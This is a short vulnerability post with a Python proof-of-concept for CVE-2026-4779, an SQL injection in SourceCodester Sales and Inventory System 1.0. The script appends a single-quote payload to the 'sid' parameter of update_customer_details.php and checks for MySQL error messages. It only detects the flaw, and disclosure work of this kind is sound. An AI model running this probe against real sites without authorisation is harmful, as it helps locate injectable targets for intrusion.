CVE-2026-4779 SourceCodester 销售库存系统 SQL注入漏洞

# PoC for CVE-2026-4779 # Target: SourceCodester Sales and Inventory System 1.0 import requests def check_sqli(url): # Vulnerable parameter: sid # Payload to test for SQL Injection syntax error payload = "?sid=1'" full_url = f"{url}/update_customer_details.php{payload}" try: response = requests.get(full_url) if "mysql_fetch_array()" in response.text or "You have an error in your SQL syntax" in response.text: print(f"[+] Vulnerability detected at {full_url}") else: print("[-] Vulnerability not confirmed or patched.") except Exception as e: print(f"Error: {e}") if __name__ == "__main__": target = "http://localhost" # Replace with actual target check_sqli(target)